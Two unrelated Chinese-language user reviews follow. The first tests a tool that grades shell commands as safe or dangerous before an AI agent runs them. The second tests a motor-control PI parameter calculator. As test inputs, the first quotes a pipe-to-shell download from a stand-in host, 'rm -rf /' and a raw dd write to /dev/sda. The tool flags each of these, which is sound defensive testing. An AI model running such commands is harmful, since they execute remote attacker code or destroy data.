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作为Agent执行高危命令前的门禁工具实测，结论是规则库扎实、退出码设计非常适合自动化集成。实测过程：①selftest内置44项断言全部PASS；②分级准确性用5条命令验证——ls -la /tmp判SAFE(退出码0)，rm -rf /tmp/build_cache判CAUTION(退出码2)，rm -rf /、curl http://evil.sh/x.sh|sh、dd写/dev/sda三条均正确判DANGER(退出码3)，分级与工程常识完全一致；③脚本scan模式拿一个含注释、强推、rsync --delete的5行测试脚本体检，准确定位到第4行DANGER（并给出--force-with-lease替代）和第5行CAUTION（提示先--dry-run），且正确跳过了注释行里的rm -rf /；④explain模式对find -exec rm|wc -l复杂管道能逐段拆解连接符、命令作用、每个参数含义和参数值，解释质量高。亮点：退出码即判定（0/2/3/4）可直接进shell case做流水线门禁，不用解析文本；--json输出方便Agent消费；纯标准库零依赖离线运行，不上传代码；文档诚实声明SAFE只代表未命中模式库而非无害，不鼓励绕过规则。这类"保守误报"取舍对安全工具是正确的。建议：对变量拼接型间接执行（bash -c "$VAR"）目前只能靠文档提示，规则层无法覆盖，后续可考虑加bash -n/AST解析增强。Agent运维和开发上线前巡检推荐使用。

用教科书经典参数实测了三个模式，结果全部与理论公式精确吻合，工程可信度高。测试1（电流环零极点对消）：Rs=0.5Ω、Ls=2mH、带宽1000Hz，输出Kp=12.5664、Ki=3141.59，与手算值Ls·2πf和Rs·2πf完全一致，还给出了推导过程和前向欧拉离散化结果（Ts=50us时Ki_d=0.1571）。测试2（速度环二阶系统）：J=1e-4、Kt=0.1、100Hz、ζ=0.707，Kp=0.8884/Ki=394.78与标准二阶公式手算一致。测试3（参数反算）：Kp=12.57/Ki=3141反推带宽1000.29Hz，误差0.03%，并自动做了Ki一致性校验。亮点：①JSON输出结构化，附完整公式推导，适合Agent程序化调用后向用户解释；②带宽建议自动遵守fpwm/10约束和内外环10倍频程原则；③调参诊断给出的"先减Ki再减Kp→查带宽比"优先级符合工程实操；④29种模式覆盖了从三环计算、Q格式定点化、anti-windup到无感启动的完整FOC工作流，垂直深度在同类工具里少见。不足：参数缺失时的报错引导可以更友好（如reverse模式缺--loop只给一行英文错误）。总体是电机控制工程师和嵌入式开发者的实用工具，零依赖可离线，推荐。